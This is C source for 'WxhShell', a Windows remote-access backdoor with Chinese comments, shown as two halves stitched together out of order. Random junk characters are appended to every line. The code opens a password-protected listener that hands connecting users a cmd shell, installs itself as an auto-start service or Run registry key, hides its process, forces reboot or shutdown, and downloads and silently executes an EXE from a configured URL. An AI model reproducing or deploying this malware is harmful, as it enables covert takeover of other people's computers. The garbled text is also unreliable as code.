    if(Boot(SHUTDOWN)) JM& :dzyIP  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); CY4ntd4M  
    else { $YPU(y  
    closesocket(wsh); HQ7  
    ExitThread(0); wH<'*>/  
    } 8iIz!l%O  
    break; k>'c4ay290  
    } 4D4Y.g_x  
  // 获取shell G]$.bq[v  
  case 's': { }(yX$ 3?`  
    CmdShell(wsh); d,"6s=4(q  
    closesocket(wsh); ZJod=^T  
    ExitThread(0); 4)DI0b"  
    break; 88}=VS  
  } ,P T5-9 m  
  // 退出 l>J>?b=x"[  
  case 'x': { Q|CLis-  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); uQ_s$@brI  
    CloseIt(wsh); _'.YC<;  
    break; mDG=h6y"V  
    } CkHifmc(u-  
  // 离开 Mqk[+n  
  case 'q': { dB=aq34l  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); qGYru1  
    closesocket(wsh); pAm L  
    WSACleanup(); U.kTdNSp  
    exit(1); gE}+`w/X  
    break; `nvm>u~[Hq  
        } &y~~Z [.F,  
  } O^_$cq  
  } fPj*qi  
9?6]Z ag  
  // 提示信息 (9A`[TRwi  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); jW!x!8=  
} ]6*+i $  
  } Yqz B="  
#% 1|$V*:  
  return; pAY[XN  
} *.2[bQL@v  
rmq^P;At  
// shell模块句柄 ]rY3bG'&  
int CmdShell(SOCKET sock) 5{.g~3"  
{ iDdmr32E  
STARTUPINFO si; =a]B#uUn  
ZeroMemory(&si,sizeof(si)); W3h{5\d!  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; g3h:oQCS  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ]CnqPLqL  
PROCESS_INFORMATION ProcessInfo; -:P`Rln  
char cmdline[]="cmd"; E979qKl  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 4Up3x+bg  
  return 0; Aq5@k\[  
} %ylpn7I\6  
m`Dn R`+  
// 自身启动模式 Nm;V9*5  
int StartFromService(void) >7Y6NAwY  
{ q]}1/JZS  
typedef struct ;V:Cf/@@R  
{ 8va&*J? 2  
  DWORD ExitStatus; Lu6?$N57rC  
  DWORD PebBaseAddress; MF}}o0P  
  DWORD AffinityMask; C>0='@LB@r  
  DWORD BasePriority; "{X_[  
  ULONG UniqueProcessId; d=$1Z. ]  
  ULONG InheritedFromUniqueProcessId; 'y<<ce*   
}   PROCESS_BASIC_INFORMATION; B+pJWl8u  
Kd%>:E*  
PROCNTQSIP NtQueryInformationProcess; D,<#pNO_  
`(dRb  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; efnj5|JSV  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; G#(+p|n  
!J%m7 A  
  HANDLE             hProcess; )tB1jcI;  
  PROCESS_BASIC_INFORMATION pbi; L74Sx0nk=  
28jm*Cl8  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); GO|EeM!iB  
  if(NULL == hInst ) return 0; \.AI;^)X@]  
}aJK^>^>A  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); xdV $dDCT  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); !arTR.b\  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 6 z2_b wo  
Z^?YTykH  
  if (!NtQueryInformationProcess) return 0; ~p'DPg4  
S^/:O.X)c,  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Z9+xB"q2  
  if(!hProcess) return 0; J ;e/S6l  
gL-\@4\wc  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; d O'apey  
; ^cc-bLvF  
  CloseHandle(hProcess); =w/S{yC  
CNRiK;nQ  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); [ ]LiL;A&  
if(hProcess==NULL) return 0; "p[FFg  
320g!r  
HMODULE hMod; cz6\qSh\,  
char procName[255]; F87aIJ.pGN  
unsigned long cbNeeded; wwI'n*Q'$  
}ippi6b:r  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 4[$D3,A  
jh*aD=y  
  CloseHandle(hProcess); {+.ai8  
R2%>y5dD  
if(strstr(procName,"services")) return 1; // 以服务启动 OlJkyL8|  
zV<vwIUrr  
  return 0; // 注册表启动 Dqu][~oQ  
} LmA IvEr  
?{bAyh/  
// 主模块 *wY { ~zh  
int StartWxhshell(LPSTR lpCmdLine) nOE 1bf^l  
{ ^9zFAY.|  
  SOCKET wsl; 1}$GVb%i  
BOOL val=TRUE; wzka4J{  
  int port=0; m@W\Pic,j.  
  struct sockaddr_in door; HxXCxI3  
nP+]WUnY  
  if(wscfg.ws_autoins) Install(); Ue8k9%qV  
A` iZ"?  
port=atoi(lpCmdLine); Ub%sw&QG(9  
KW[Jft  
if(port<=0) port=wscfg.ws_port; 3IK+&hk  
VSJ08Ngi   
  WSADATA data; 5{@Hpj/B  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; xr<.r4  
 K#LG7faj  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   RlH~<|XK  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); XJ.ERLR.  
  door.sin_family = AF_INET; .bT|:Q~@{  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); \XUG-\$p  
  door.sin_port = htons(port); ~_YU%y  
YhzDi>hob  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { w=txSF&Qr  
closesocket(wsl); '/@] V  
return 1; t;~H6  
} E{-W#}#  
KJf~9w9U  
  if(listen(wsl,2) == INVALID_SOCKET) { 5jYZ+OB  
closesocket(wsl); Q5N;MpJ-  
return 1; :le"FFfk  
} pOz4>R  
  Wxhshell(wsl); *YI>Q@F9  
  WSACleanup(); 9u->.O: p  
;Npv 2yAab  
return 0; b3 ,&RUF  
o9Z!Z ^  
} f/&k $,w  
\~YyY'J  
// 以NT服务方式启动 G\S>H  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv )  xlH?J;$  
{ b[MdA|C%j  
DWORD   status = 0; hR]AUH  
  DWORD   specificError = 0xfffffff; 8O)!{gB  
-5Km 9X8  
  serviceStatus.dwServiceType     = SERVICE_WIN32; .$k2.-k  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; mR? } gR  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; V(Dn!Nz  
  serviceStatus.dwWin32ExitCode     = 0; >;;tX3(  
  serviceStatus.dwServiceSpecificExitCode = 0; _cW (R,i  
  serviceStatus.dwCheckPoint       = 0; 6.!3g(w   
  serviceStatus.dwWaitHint       = 0; H(1( H0Kj"  
M_4:~&N$  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); $2M dxw5  
  if (hServiceStatusHandle==0) return; WG_20JdJY  
N!`8-ap\^  
status = GetLastError(); \3ZQ:E}5  
  if (status!=NO_ERROR) l5m5H,`  
{ _v+mjDdQ  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; .skR4f,h  
    serviceStatus.dwCheckPoint       = 0; .kGlUb?^Q  
    serviceStatus.dwWaitHint       = 0; 8-wW?YTG  
    serviceStatus.dwWin32ExitCode     = status; y8{PAH8S  
    serviceStatus.dwServiceSpecificExitCode = specificError; 3>`CZ]ip}  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^rKA=siz  
    return; Y\qiYra  
  } *$KUnd-T  
4rh*&'  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; f.o,VVYi  
  serviceStatus.dwCheckPoint       = 0; u I \zDR  
  serviceStatus.dwWaitHint       = 0; ||lI_B  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); .o2]ndT/J  
} B~/LAD_  
_V9 O,"DDc  
// 处理NT服务事件,比如:启动、停止 tkG0xRH  
VOID WINAPI NTServiceHandler(DWORD fdwControl) bs%lMa.o  
{ q]\bJV^/U  
switch(fdwControl) 2g6G\F  
{ fCMH<}w  
case SERVICE_CONTROL_STOP: .=VtMi$n  
  serviceStatus.dwWin32ExitCode = 0; 6PS #Zydb  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Ua@rp3fr  
  serviceStatus.dwCheckPoint   = 0; o@o6<OP^  
  serviceStatus.dwWaitHint     = 0; myVV5#{  
  { 9Q#eu~R  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6!,Am^uXM  
  } JYbE(&l%de  
  return; 0RLyAC|  
case SERVICE_CONTROL_PAUSE: lD8&*5tDmP  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; _d$0(  
  break; 6;lJs,I1w{  
case SERVICE_CONTROL_CONTINUE: +G!N@O  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; r~sx] =/  
  break; m})q8b!S  
case SERVICE_CONTROL_INTERROGATE: %G<!&E!0h  
  break; 0 gyg  
}; +P7A`{Ae  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); _)7dy2%{q  
} ;BEg"cm  
m\h/D7zg  
// 标准应用程序主函数 xb!h?F&  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) (O N \-*  
{ ,_ XDCu @  
UXXN\D  
// 获取操作系统版本 uhuwQS=X  
OsIsNt=GetOsVer(); ZD9UE3-  
GetModuleFileName(NULL,ExeFile,MAX_PATH); >A$J5B >d  
W |]24  
  // 从命令行安装 Y2 &N#~l*  
  if(strpbrk(lpCmdLine,"iI")) Install(); T4 dYC'z  
qIwI]ub~  
  // 下载执行文件 3 <V{.T  
if(wscfg.ws_downexe) { # $:ddO Y  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) |\ 1?CYx  
  WinExec(wscfg.ws_filenam,SW_HIDE); 9E (VU.  
} 8 oHyNo  
h^P>,dy0  
if(!OsIsNt) { cJ G><'  
// 如果时win9x,隐藏进程并且设置为注册表启动 g<[_h(xDeG  
HideProc(); G\\zk  
StartWxhshell(lpCmdLine); }mjJglK!N  
} OE!:`Bo3T  
else GfAt-huL(  
  if(StartFromService()) T,72I  
  // 以服务方式启动 !A"`jc~x:  
  StartServiceCtrlDispatcher(DispatchTable); rSIb1zJ  
else  8@)/a  
  // 普通方式启动 Hp_3BulS<  
  StartWxhshell(lpCmdLine); ,`/J1(\ nd  
27-<q5q  
return 0; um@RaU  
} zaX!f ~;"  
"hU'o&  
^;3z9}9  
H( `^1  
=========================================== //G5lW/*  
jfyV9)  
zh$[UdY6  
[=Wn7cr  
p6(n\egR  
%Ke:%##Y  
" "HW~|M7>(  
pa&*n=&cL  
#include <stdio.h> Aa;R_Jz  
#include <string.h> l1~>{:mq  
#include <windows.h> 4WnB{9 i`I  
#include <winsock2.h> YF=@nR$_~j  
#include <winsvc.h> k/vE|  
#include <urlmon.h> Q)}sX6TB  
W'\{8&:!  
#pragma comment (lib, "Ws2_32.lib") cLH|;  
#pragma comment (lib, "urlmon.lib") Bv $;yR  
tw8@&8"  
#define MAX_USER   100 // 最大客户端连接数 yV :DR  
#define BUF_SOCK   200 // sock buffer vrsO]ctI  
#define KEY_BUFF   255 // 输入 buffer D"F5-s7  
jxL5L[  
#define REBOOT     0   // 重启 Ys10r-kDS  
#define SHUTDOWN   1   // 关机 +XU*NAD,!  
NYD#I{h  
#define DEF_PORT   5000 // 监听端口 [{_JO+)+n  
6uQfe? aD  
#define REG_LEN     16   // 注册表键长度 06I'#:]  
#define SVC_LEN     80   // NT服务名长度 *1V}vJvi  
fmH$ 1C<  
// 从dll定义API !!ZNemXct$  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); KIdlndGs  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 6Flc4L8JU  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); h"KN)xi$  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); '$~9~90?Z  
0-EhDGa]r  
// wxhshell配置信息 |b'fp1</  
struct WSCFG { + )?1F  
  int ws_port;         // 监听端口 XpWqL9s_E  
  char ws_passstr[REG_LEN]; // 口令 Tn[DF9;?  
  int ws_autoins;       // 安装标记, 1=yes 0=no GmN} +(  
  char ws_regname[REG_LEN]; // 注册表键名 Z>Nr"7k  
  char ws_svcname[REG_LEN]; // 服务名 $%VFk53I  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 yqqP7  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 m~\BkE/[l  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 e9h T  
int ws_downexe;       // 下载执行标记, 1=yes 0=no %FGPsHH  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" F ]\4<  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 .eW}@1+[;  
\;p5Pagx0-  
}; &|xN=U/  
$O&P@8:Z  
// default Wxhshell configuration o[^%0uVF  
struct WSCFG wscfg={DEF_PORT, 6}2vn5 E//  
    "xuhuanlingzhe", #KZ- "$  
    1, Wx~ 0_P  
    "Wxhshell", ~=P&wBnJ  
    "Wxhshell", j& f-yc'i-  
            "WxhShell Service", "8VCXD  
    "Wrsky Windows CmdShell Service", gOa'o<  
    "Please Input Your Password: ", PdJtJqA8h\  
  1, }:YS$'by  
  "http://www.wrsky.com/wxhshell.exe", 4~4PZ  
  "Wxhshell.exe" Os9xZ  
    }; h<i.@&  
TPp%II'*  
// 消息定义模块 L #p-AK  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; c]F$$BT  
char *msg_ws_prompt="\n\r? for help\n\r#>"; r ,|T@|{  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; qev1bBW  
char *msg_ws_ext="\n\rExit."; <iiu%   
char *msg_ws_end="\n\rQuit."; tR!eYt  
char *msg_ws_boot="\n\rReboot..."; A\lnH5A  
char *msg_ws_poff="\n\rShutdown..."; 2|(J<H  
char *msg_ws_down="\n\rSave to "; GDP@M)~6*  
1=O Xi!G  
char *msg_ws_err="\n\rErr!"; _S/bwPj|~y  
char *msg_ws_ok="\n\rOK!"; "ji4x y  
E=GCq=Uw  
char ExeFile[MAX_PATH]; JAen= %2b  
int nUser = 0; W'rft@J$  
HANDLE handles[MAX_USER]; wH~Q4)#=o  
int OsIsNt; ]q7\  
or\ 2)  
SERVICE_STATUS       serviceStatus; $I~=t{;"XV  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Lp20{R  
_Qs )~  
// 函数声明 /s uz>o\  
int Install(void); e-H:;m5R  
int Uninstall(void); 25*/]i u  
int DownloadFile(char *sURL, SOCKET wsh); S #%'Vrp  
int Boot(int flag); ,ju1:`  
void HideProc(void); 8$-Wz:X&  
int GetOsVer(void); MOP %vS   
int Wxhshell(SOCKET wsl); e2UbeP  
void TalkWithClient(void *cs); Ps7(4%  
int CmdShell(SOCKET sock); +w:[By"  
int StartFromService(void); A1Mr  
int StartWxhshell(LPSTR lpCmdLine); Jz 'm&mu  
%I;ej{*c  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); J6_H lt  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 8vz9o <I  
~d?7\:n  
// 数据结构和表定义 #z-6mRB  
SERVICE_TABLE_ENTRY DispatchTable[] = Fe%Q8RIh_  
{ `,tv&siSA  
{wscfg.ws_svcname, NTServiceMain}, R*/%+  
{NULL, NULL} 3\|e8(bc  
}; }k7@ X  
`;*%5WD%  
// 自我安装 yPn5l/pDDr  
int Install(void) u2y?WcMv  
{ S%-L!V ,  
  char svExeFile[MAX_PATH]; -4Zf0r1u  
  HKEY key; :,y V?E6]  
  strcpy(svExeFile,ExeFile); d%VGfSrKq  
["Ep.7=SU  
// 如果是win9x系统,修改注册表设为自启动 6GMQgTY^  
if(!OsIsNt) { CspY+%3$  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { V /$qD  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 8V`r*:\  
  RegCloseKey(key); oat*ORL  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 'g^;_=^G  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 9 Bz ~3  
  RegCloseKey(key); M' "S:  
  return 0; p82&X+v/p  
    } X3".  
  } zv||&Hi  
} KR%p*Nh+C  
else { v$p<6^kJ  
X8<<;?L  
// 如果是NT以上系统,安装为系统服务 b)(#/}jMkD  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); XB UO  
if (schSCManager!=0) M/:kh,3  
{ fBS;~;l  
  SC_HANDLE schService = CreateService E@hvO%  
  ( <w+K$WE {  
  schSCManager, Ti#2D3  
  wscfg.ws_svcname, ,E$^i~OO  
  wscfg.ws_svcdisp, /hOp>|  
  SERVICE_ALL_ACCESS, 7ml,  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ? Sj,HLo@U  
  SERVICE_AUTO_START, [m?eSq6e2b  
  SERVICE_ERROR_NORMAL, {[61LQ6V9  
  svExeFile, UMpC2)5  
  NULL, :R{Xd{?  
  NULL, Ra&HzK?  
  NULL, `n Y!nh6!  
  NULL, eEb(TG~,Y  
  NULL A &~G  
  ); i*#Gq6qZq  
  if (schService!=0) Eh#W*Bg  
  { !F/;WjHz  
  CloseServiceHandle(schService); YU9xANi6  
  CloseServiceHandle(schSCManager); M,8a$Mdqh  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); K:c5Yq^  
  strcat(svExeFile,wscfg.ws_svcname); lV]hjt-L 2  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { lJpD>\$}@R  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ~zi6wu(3  
  RegCloseKey(key); @ >%I\  
  return 0; &=nwb4  
    } Uxn_nh  
  } ~4.Tq{  
  CloseServiceHandle(schSCManager); D!Owm&We  
} Ry,_ %j3  
} BR8z%R  
.<gA a"  
return 1; >#Y8#-$zc  
} %g^dB M#  
k+ 5:fB)z  
// 自我卸载 "uDLty?*k  
int Uninstall(void) K8XXO"  
{ zC(DigN  
  HKEY key; ]t\fw'  
WO/;o0{d\9  
if(!OsIsNt) { <@.f#  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { U`ey7   
  RegDeleteValue(key,wscfg.ws_regname); ,oT?-PC$z  
  RegCloseKey(key); LUna stA^  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Vx;f/CH3!  
  RegDeleteValue(key,wscfg.ws_regname); Bbz#$M!:  
  RegCloseKey(key); .!\y<9  
  return 0; 1RY}mq  
  } _FeLSk.  
}  4>uz'j<  
} wz+  
else { ((7~o?Vbg  
AmM^&  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 6 K P  
if (schSCManager!=0) 282 m^ 2  
{ |fYNkD 8z1  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 8b8ui  
  if (schService!=0) K I  
  { Fx~=mYU  
  if(DeleteService(schService)!=0) { cR 4xy26s  
  CloseServiceHandle(schService); Q%o ]&Hdn  
  CloseServiceHandle(schSCManager); f]^(|*6  
  return 0; S7P](F=n#  
  } ]7^OTrZ N  
  CloseServiceHandle(schService); %0YwaxXPn7  
  } p ~J`}>yo  
  CloseServiceHandle(schSCManager); w")VcAq  
} RnPJ,Z5s&&  
} C8}ujC  
=O?<WJoK  
return 1; E}-Y@( [  
} Wo&MHMP  
J_ ?;On5  
// 从指定url下载文件 +_|M*%  
int DownloadFile(char *sURL, SOCKET wsh) PPU,o8E+  
{ kG[u$[B  
  HRESULT hr; yBXdj`bV  
char seps[]= "/"; ^:5 ;H=.  
char *token; %a<N[H3NV@  
char *file; SouPk/-B80  
char myURL[MAX_PATH]; (=}U2GD*  
char myFILE[MAX_PATH]; M\ vj&T{k  
R9f*&lj  
strcpy(myURL,sURL); NC)Iu  
  token=strtok(myURL,seps); TFb9gOTJ  
  while(token!=NULL) +yiGZV/X  
  { rBye%rQRq  
    file=token; 1/c7((]7(,  
  token=strtok(NULL,seps); mg[=~&J^  
  } <_=a1x  
P#\L6EO.  
GetCurrentDirectory(MAX_PATH,myFILE); -^=gQ7f9  
strcat(myFILE, "\\"); ~b+4rYNxU_  
strcat(myFILE, file); 4.$<o/M  
  send(wsh,myFILE,strlen(myFILE),0); HUuL3lYka  
send(wsh,"...",3,0); ?k<i e2  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); w(U-6uA  
  if(hr==S_OK) Li(}_  
return 0; 4`)`%R$  
else EpB2?XGA  
return 1; 8fKt6T  
r@5_LD@f  
} YK!nV ,  
f;!1=/5u-  
// 系统电源模块 L#Uk=  
int Boot(int flag) ^8Tq0>n?  
{ 1`)ie%=  
  HANDLE hToken; fWhwI+  
  TOKEN_PRIVILEGES tkp; lZ.x@hDS  
JaoRkl?F  
  if(OsIsNt) { 5"%r,GMU  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); I7ZY9W(S  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); A6v02WG_1T  
    tkp.PrivilegeCount = 1; 2Vas`/~u~  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; `*mctjSN  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); `of 5h* k  
if(flag==REBOOT) { j2\bCGY  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) <k-&Lh:o3  
  return 0; =o^oMn  
} -D?T0>  
else { Ch%W C ,  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 57k@] 3 4  
  return 0; 89*CoQ  
} 3%{A"^S=}  
  } I:CnOpR>A  
  else { mYJ%gdTpo  
if(flag==REBOOT) { srXGe`VL  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) .Qm"iOyM  
  return 0; 5+\[x`  
} eu@hmR8T  
else { |s`j=<rNQI  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) }u:@:}8K  
  return 0; |b7 v(Hx  
} _eb:"(m  
} ivYHq#b59  
hNgbHzW  
return 1; /6jt 5N&,  
} S 1sNVW  
8,=N~(pd`  
// win9x进程隐藏模块 Pz7{dQqjk#  
void HideProc(void) pp@Jndlg  
{ 4*'5EBa1  
.lAqD-  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); T4dLuJl  
  if ( hKernel != NULL ) k FE2Vv4.  
  { uCO-f<b  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); <aR9,:  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); u>o<u a p  
    FreeLibrary(hKernel); s\y+ xa:  
  } Z 6KM%R  
GjN/8>/  
return; @[h)M3DFd  
} ^ cpQ*Fz  
s kC*  
// 获取操作系统版本 #Jp_y|  
int GetOsVer(void) !2R~/Rg  
{ Ss6mN;&D  
  OSVERSIONINFO winfo; ;U=IbK*  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); <9z2:^  
  GetVersionEx(&winfo); (8qD'(@  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) piKYO+;W'  
  return 1; &oI;^|  
  else L;N)l2m.\  
  return 0; Q%)da)0:c  
} #$7d1bx  
Xu\FcQ{  
// 客户端句柄模块 DuX7  
int Wxhshell(SOCKET wsl) {`?C5<r  
{ IaMZPl  
  SOCKET wsh; Lf0Y|^!S_u  
  struct sockaddr_in client; 9eO!_a^  
  DWORD myID;  2f>G   
"[M,PI!B  
  while(nUser<MAX_USER) GcN[bH(@  
{ Pu/X_D-#Gi  
  int nSize=sizeof(client); HwfBbWHr'  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 1bjhEO W  
  if(wsh==INVALID_SOCKET) return 1; "P.H  
Jm8{@D%  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); gZ vX~  
if(handles[nUser]==0) 9n4vuBgv  
  closesocket(wsh); Lt`d {s  
else uc;1{[5`1q  
  nUser++; \GhL{Awv&a  
  }  h0}r#L  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 4UwXrEQp  
u~SvR~OE  
  return 0; Hl-!rP.?0  
} ?^I\e{),c  
#-vuY#gs  
// 关闭 socket XgRrJ.  
void CloseIt(SOCKET wsh) !bs{/?  
{ V&nTf100  
closesocket(wsh); .m%/JquMFM  
nUser--; E57:ap)/  
ExitThread(0); N3/G6wn  
} }]O* yFR{j  
OXu*w l(z  
// 客户端请求句柄 pT3p!/pl3  
void TalkWithClient(void *cs) 1 EE4N\  
{ 3sr> ?/>:  
`;KU^dH  
  SOCKET wsh=(SOCKET)cs; u@QP<[f  
  char pwd[SVC_LEN]; aY`qbJy  
  char cmd[KEY_BUFF]; MI8f(ZJK5  
char chr[1]; ZqT8G  
int i,j; cHqT1EY  
t6-He~  
  while (nUser < MAX_USER) { fKEZlrw  
/$ a>f>EJ  
if(wscfg.ws_passstr) { mL\_C9k,n  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); i,#j@R@.C7  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 2XoFmV),F  
  //ZeroMemory(pwd,KEY_BUFF); st~ 1[in  
      i=0; F3d: W:^_  
  while(i<SVC_LEN) { Y2lBQp8'|  
+,oEcCi  
  // 设置超时 wxC&KrRF  
  fd_set FdRead; (4:&tm/;  
  struct timeval TimeOut; |#_IAN  
  FD_ZERO(&FdRead); Tfasry9'8  
  FD_SET(wsh,&FdRead); hF m_`J&"  
  TimeOut.tv_sec=8; GD*rTtDWn  
  TimeOut.tv_usec=0; ]M^ k~Xa  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); i/Zv@GF  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); vbFi# |EU  
yC%zX}5  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); &lbZTY}  
  pwd=chr[0]; ^eF%4DUC;  
  if(chr[0]==0xd || chr[0]==0xa) { VN3"$@-POK  
  pwd=0; cD^`dn%$  
  break; O5rHN;\_  
  } VycC uq&M  
  i++; )w.+( v(  
    } f3r\X  
%63zQFk  
  // 如果是非法用户,关闭 socket h"C7l#u  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); U&F1}P$fb  
} 9)c{L<o}T  
j:|um&`)  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); d,%e? 8x5  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); U`)\|\NY  
C:r@)Mhq  
while(1) { ?+3vK=Rf}  
+#* F"k(  
  ZeroMemory(cmd,KEY_BUFF); .\Z/j  
kHWW\?O  
      // 自动支持客户端 telnet标准   2EO WbN}M  
  j=0; O_v8R7 {  
  while(j<KEY_BUFF) { PhUG}94  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); uGXN ciEp`  
  cmd[j]=chr[0]; ] o!r K<  
  if(chr[0]==0xa || chr[0]==0xd) { nK!yu?mS  
  cmd[j]=0; e6G=Bq$  
  break; o7 :~C]  
  } RN, 5>.w  
  j++; I, 7~D!4G  
    } E&;[E  
C0f<xhp?j  
  // 下载文件 Bqcih$`BVU  
  if(strstr(cmd,"http://")) { cd&^ vQL8  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ON,sN  
  if(DownloadFile(cmd,wsh)) z (1zth  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); #'5C*RO  
  else 9+irf^D`O  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); OBnf5*eJ  
  } |_6V+/?"?`  
